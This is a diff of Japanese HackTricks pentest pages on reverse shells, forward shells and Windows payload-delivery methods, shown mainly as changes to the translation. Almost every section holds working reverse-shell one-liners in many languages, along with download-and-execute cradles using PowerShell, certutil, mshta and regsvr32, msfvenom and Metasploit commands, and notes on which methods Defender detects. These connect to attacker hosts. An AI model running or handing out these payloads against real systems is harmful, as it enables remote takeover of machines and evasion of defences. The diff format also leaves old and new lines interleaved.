4. **`0>&1`**: このコマンドの部分は、**標準入力(`stdin`)を標準出力(`stdout`)と同じ場所にリダイレクト**します。
|
||||
4. **`0>&1`**: このコマンドの部分は、**標準入力(`stdin`)を標準出力(`stdout`)と同じ宛先にリダイレクト**します。
|
||||
|
||||
### ファイルを作成して実行
|
||||
```bash
|
||||
|
@ -67,11 +67,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## フォワードシェル
|
||||
|
||||
LinuxベースのWebアプリケーション内の**Remote Code Execution (RCE)**脆弱性を処理する際、逆シェルを達成することがiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。そのような制約のある環境では、代替手段として、妥当なシステムとの効果的なやり取りを可能にするためにPTY(擬似端末)シェルを確立することがあります。
|
||||
LinuxベースのWebアプリケーション内の**Remote Code Execution (RCE)**脆弱性を処理する際、逆シェルを達成することがiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。そのような制約のある環境では、より効果的に侵害されたシステムとやり取りするためにPTY(擬似端末)シェルを確立する代替手段があります。
|
||||
|
||||
この目的のための推奨ツールは、[toboggan](https://github.com/n3rada/toboggan.git)であり、これにより対象環境とのやり取りが簡素化されます。
|
||||
|
||||
tobogganを効果的に利用するには、対象システムのRCEコンテキストに合わせたPythonモジュールを作成します。例えば、`nix.py`という名前のモジュールは次のように構成されることがあります。
|
||||
tobogganを効果的に利用するには、対象システムのRCEコンテキストに合わせたPythonモジュールを作成します。例えば、`nix.py`という名前のモジュールは次のように構造化される可能性があります。
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
|
@ -95,11 +95,11 @@ response.raise_for_status()
|
|||
|
||||
return response.text
|
||||
```
|
||||
その後、次のコマンドを実行できます:
|
||||
そして、次のコマンドを実行できます:
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
直接インタラクティブシェルを活用するには、Burpsuite統合のために`-b`を追加し、より基本的なrceラッパーを得るために`-i`を削除できます。
|
||||
直接インタラクティブシェルを活用するには、Burpsuite統合のために`-b`を追加し、より基本的なrceラッパーにするために`-i`を削除できます。
|
||||
|
||||
別の可能性は、`IppSec`のフォワードシェル実装[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)を使用することです。
|
||||
|
||||
|
@ -127,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
|
|||
```
|
||||
## Telnet
|
||||
|
||||
Telnetは、ネットワーク上でコンピューターにリモートアクセスするためのプロトコルです。通常、Telnetを使用してリモートシステムに接続すると、シェルプロンプトが表示され、コマンドを入力してリモートシステムを制御できます。 Telnetは、セキュリティ上のリスクがあるため、SSHなどのより安全な代替手段が推奨されています。
|
||||
Telnetは、ネットワーク上でコンピューターにアクセスするためのプロトコルです。通常、Telnetを使用してリモートシステムに接続し、コマンドを実行することができます。 Telnetは、セキュリティ上のリスクがあるため、代わりにSSHなどのより安全なプロトコルを使用することが推奨されています。
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
|
@ -140,17 +140,17 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
|
|||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
```
|
||||
コマンドを送信するには、それを書き留め、Enter キーを押し、CTRL+D キーを押します(STDIN を停止するため)
|
||||
|
||||
**被害者**
|
||||
|
||||
```bash
|
||||
コマンドを書き込んで、Enter キーを押し、CTRL+D キーを押してください(STDIN を停止するため)
|
||||
```
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||
```
|
||||
## Python
|
||||
|
||||
Pythonは、多くのハッカーにとってお気に入りのスクリプト言語です。Pythonは、シンプルで読みやすく、多くのOSで動作するため、ハッキングに最適です。Pythonは、ネットワークスキャン、データ解析、Webアプリケーションの開発など、さまざまなハッキングタスクに使用されます。
|
||||
## パイソン
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
|
@ -160,23 +160,19 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
|
|||
```
|
||||
## Perl
|
||||
|
||||
Perlは、多くのUnixシステムで利用可能なスクリプト言語であり、シェルスクリプトの代替として使用されることがあります。Perlスクリプトは、システム管理、ログ解析、データ変換などのタスクに広く使用されています。Perlは、強力なテキスト処理機能を備えており、システム管理者やハッカーにとって便利なツールです。
|
||||
Perlは、多くのLinuxシステムでデフォルトでインストールされているスクリプト言語です。Perlスクリプトを使用することで、シェルコマンドと同様にシステムコマンドを実行し、システムリソースにアクセスすることができます。Perlは、シェルスクリプトよりも高度な機能を持ち、複雑なタスクを自動化するのに役立ちます。
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
### Ruby
|
||||
|
||||
Rubyは、多くのハッカーにとって人気のあるスクリプト言語です。Rubyスクリプトを使用して、シェルを介してシステムにアクセスできます。Rubyは、システムコマンドを実行し、ファイルを操作し、ネットワークソケットを使用するための豊富なライブラリを提供します。Rubyスクリプトを使用して、シェルスクリプトよりも高度な機能を実行できます。
|
||||
## ルビー
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## PHP
|
||||
|
||||
PHP(Hypertext Preprocessor)は、Web開発に広く使用されるスクリプト言語です。PHPは、サーバーサイドで実行され、動的なWebページを生成するために使用されます。PHPは、HTMLに埋め込んで使用することができ、データベースとのやり取りやフォームの処理など、さまざまなタスクを実行するために広く利用されています。
|
||||
PHP (PHP: Hypertext Preprocessor) は、主にWeb開発に使用されるスクリプト言語です。PHPは、HTMLに埋め込んで使用することができ、データベースとの連携やフォームの処理など、動的なWebページを作成するための機能を提供します。PHPは、サーバーサイドで実行されるため、ユーザーが直接コードを見ることはできません。
|
||||
```php
|
||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||
|
@ -211,7 +207,7 @@ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","
|
|||
```
|
||||
## Lua
|
||||
|
||||
Luaは、軽量で高速なスクリプト言語であり、組み込みシステムやゲーム開発などのさまざまな用途に使用されています。LuaはC言語で実装されており、シンプルな構文と強力な拡張性を備えています。Luaスクリプトは、Luaのインタプリタである`lua`コマンドを使用して実行できます。Luaは、多くのプラットフォームでサポートされており、広く普及しています。
|
||||
Lua
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
|
@ -220,7 +216,7 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket")
|
|||
```
|
||||
## NodeJS
|
||||
|
||||
## ノードJS
|
||||
NodeJSは、非同期イベント駆動のJavaScriptランタイム環境であり、サーバーサイドでのスクリプト実行に適しています。NodeJSは、Webアプリケーションやネットワークアプリケーションの開発に広く使用されています。
|
||||
```javascript
|
||||
(function(){
|
||||
var net = require("net"),
|
||||
|
@ -295,7 +291,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|||
```
|
||||
## Awk
|
||||
|
||||
Awkは、テキストとデータ処理のための強力なプログラミング言語です。Awkは、行指向のプログラミング言語であり、パターンスキャンと処理を行うために広く使用されています。Awkは、Linuxシステムで非常に便利であり、シェルスクリプト内でのデータ処理やフィルタリングによく使用されます。
|
||||
## Awk
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
|
@ -306,7 +302,7 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
|
|||
while true; do nc -l 79; done
|
||||
```
|
||||
```
|
||||
コマンドを送信するには、それを書き留めて、Enter キーを押し、CTRL+D キーを押します(STDIN を停止するため)
|
||||
コマンドを送信するには、それを書き留め、Enter キーを押し、CTRL+D キーを押します(STDIN を停止するため)
|
||||
|
||||
**被害者**
|
||||
```
|
||||
|
@ -319,7 +315,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
|
|||
|
||||
### Gawk
|
||||
|
||||
Gawkは、テキスト処理とパターンスキャンに特化した強力なプログラミング言語です。GNUプロジェクトの一部として開発され、Linuxシステムで広く使用されています。Gawkは、シェルスクリプトやコマンドラインツールと組み合わせて使用され、テキストファイルからデータを抽出、変換、処理するためによく活用されます。
|
||||
Gawkは、AWKプログラミング言語のGNU実装です。 AWKは、テキストとデータ処理のための強力なプログラミング言語であり、Gawkはその強化バージョンです。 Gawkは、Linuxシェルスクリプト内で使用されることがよくあります。
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
@ -348,7 +344,7 @@ close(Service)
|
|||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
逆シェルをキャッチするために使用できるもの(ポート6001でリッスンする):
|
||||
逆シェルをキャッチするために使用できる(ポート6001でリッスンする):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -373,7 +369,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -386,7 +382,7 @@ HackTricksをサポートする他の方法:
|
|||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。**
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,7 +16,7 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ HackTricks をサポートする他の方法:
|
|||
## Lolbas
|
||||
|
||||
ページ [lolbas-project.github.io](https://lolbas-project.github.io/) は、Linux用の [https://gtfobins.github.io/](https://gtfobins.github.io/) と同様に、Windows用です。\
|
||||
明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、**いくつかのバイナリ**が(悪用されて)**任意のコードを実行する**など、予期しないアクションを実行する方法を知っていると便利です。
|
||||
明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、いくつかの **バイナリ** が **任意のコードを実行する**などの予期しないアクションを実行する方法を知っていると便利です。
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -33,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/)は、携帯可能で安全なNetcatの代替です**。Unix系システムとWin32で動作します。強力な暗号化、プログラムの実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えており、TCP/IP通信の多目的なソリューションを提供します。Windowsユーザーにとって、Kali Linuxディストリビューションからのsbd.exeバージョンは、Netcatの信頼性のある代替として使用できます。
|
||||
**[sbd](https://www.kali.org/tools/sbd/)は、携帯可能で安全なNetcatの代替です**。UnixライクなシステムとWin32で動作します。強力な暗号化、プログラムの実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えており、TCP/IP通信のための多目的なソリューションを提供します。Windowsユーザーにとって、Kali Linuxディストリビューションからのsbd.exeバージョンは、Netcatの信頼性のある代替として使用できます。
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -54,7 +54,7 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1
|
|||
```
|
||||
## Perl
|
||||
|
||||
Perlは、Windowsシステムで使用される多目的スクリプト言語です。Perlスクリプトは、Windowsシェルで実行されることができ、システム管理やネットワークスクリプティングなどの用途に適しています。Perlは、Windowsシステムでの侵入テストやネットワークセキュリティの向上に役立つ可能性があります。
|
||||
Perlは、Windowsシステムで使用されることが多いスクリプト言語です。Perlスクリプトを使用して、Windowsシステムでのシェルアクセスを確立することができます。Perlスクリプトを使用すると、Windowsシステムでの様々な操作を自動化することが可能です。
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
|
@ -66,7 +66,7 @@ ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.pope
|
|||
```
|
||||
## Lua
|
||||
|
||||
Lua
|
||||
Luaは、スクリプト言語であり、多くのプラットフォームで使用されています。Luaは、高い拡張性と柔軟性を持ち、組み込みシステムから大規模なアプリケーションまで幅広い用途に使用されています。Luaは、シンプルで直感的な構文を持ち、C言語との統合も容易です。Luaスクリプトは、さまざまな用途に使用され、特にゲーム開発やウェブ開発などの分野で人気があります。Luaは、多くのオープンソースプロジェクトで広く採用されており、コミュニティによって活発にサポートされています。
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
@ -88,7 +88,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
|||
```
|
||||
## Powershell
|
||||
|
||||
PowerShellは、Windowsシステムで広く使用されているスクリプト言語およびシェルフレームワークです。PowerShellを使用すると、システム管理者は効率的にタスクを自動化し、スクリプトを作成して実行することができます。PowerShellは、Windowsの機能を活用してシステムに対する深い制御を提供します。
|
||||
PowerShellは、Windowsシステムで広く使用されているスクリプト言語およびシェルフレームワークです。 PowerShellを使用すると、システム管理者は自動化されたタスクやスクリプトを作成し、Windowsシステム上での様々な操作を効率的に実行できます。 PowerShellは、Windowsの機能を活用してシステムに対する深い制御を提供します。
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
|
@ -131,7 +131,7 @@ mshta \\webdavserver\folder\payload.hta
|
|||
|
||||
#### htaの例
|
||||
|
||||
[**こちらから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
[**ここから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -166,7 +166,7 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
```
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
Mshta is a tool in Metasploit that allows execution of HTA (HTML Application) files. It can be used to run malicious scripts in memory without touching the disk, making it a stealthy way to execute code on a target system.
|
||||
Mshta is a tool in Metasploit that allows execution of HTA (HTML Application) files. It can be used to run malicious scripts on a target system.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
@ -260,8 +260,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</scriptlet>
|
||||
```
|
||||
#### **Regsvr32 - Metasploit**
|
||||
|
||||
Regsvr32 is a legitimate Windows program used to register and unregister OLE controls like DLLs and ActiveX controls in the Windows Registry. However, it can also be abused by attackers to execute malicious scripts. Metasploit provides a payload called `regsvr32` that can be used to execute malicious code on a target system using Regsvr32.
|
||||
```bash
|
||||
use multi/script/web_delivery
|
||||
set target 3
|
||||
|
@ -284,7 +282,7 @@ B64exeをダウンロードし、デコードして実行します。
|
|||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
**Defenderに検出された**
|
||||
**Defenderによって検出されました**
|
||||
|
||||
|
||||
## **Cscript/Wscript**
|
||||
|
@ -320,11 +318,11 @@ impacket-smbserver -smb2support kali `pwd`
|
|||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
被害者:
|
||||
被害者:
|
||||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
**検出**
|
||||
**検出されました**
|
||||
|
||||
## **Wmic**
|
||||
|
||||
|
@ -332,7 +330,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
例のxslファイルは[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)から:
|
||||
例のxslファイルは[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)からダウンロードできます。
|
||||
```xml
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
@ -369,7 +367,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe s
|
|||
```
|
||||
以下から基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**検出されていません**
|
||||
**検出されない**
|
||||
|
||||
## **Regasm/Regsvc**
|
||||
|
||||
|
@ -397,11 +395,11 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
**Shells** フォルダには、さまざまなシェルがあります。Invoke-_PowerShellTcp.ps1_ をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します:
|
||||
**Shells**フォルダには、さまざまなシェルがあります。**Invoke-_PowerShellTcp.ps1_**をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します。
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
次の手順でスクリプトをWebサーバーで提供し、被害者の端末で実行します:
|
||||
次の手順に従って、スクリプトをWebサーバーで提供し、被害者の端末で実行します:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
|
@ -456,17 +454,13 @@ unicornを使用して、metasploitバックドアのPowerShellバージョン
|
|||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
```plaintext
|
||||
msfconsole -r <resource_file>
|
||||
```
|
||||
|
||||
```plaintext
|
||||
作成したリソースを使用してmsfconsoleを起動します:
|
||||
```
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
次のコマンドを使用して、_powershell\_attack.txt_ ファイルを提供するWebサーバーを起動し、被害者のデバイスで実行します:
|
||||
以下は、被害者の端末で実行するために、_powershell\_attack.txt_ ファイルを提供するウェブサーバーを起動します:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
@ -474,9 +468,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
## もっと
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 暗号化されたいくつかの攻撃的なPSモジュールがプリロードされたPSコンソール\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 一部の攻撃的なPSモジュールがプリロードされたPSコンソール(暗号化済み)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) いくつかの攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソール (IEX)
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソール(IEX)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -490,20 +484,20 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) いくつかの攻撃的なPS
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* [**公式PEASS&HackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
|||
## Nmapのヒント
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP**および**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを動作させるには**ping discoveryを無効に**(`-Pn`)し、**TCPスキャン**(`-sT`)を指定する必要があります。
|
||||
**ICMP**および**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを機能させるには**ping discoveryを無効に**(`-Pn`)し、**TCPスキャン**(`-sT`)を指定する必要があります。
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
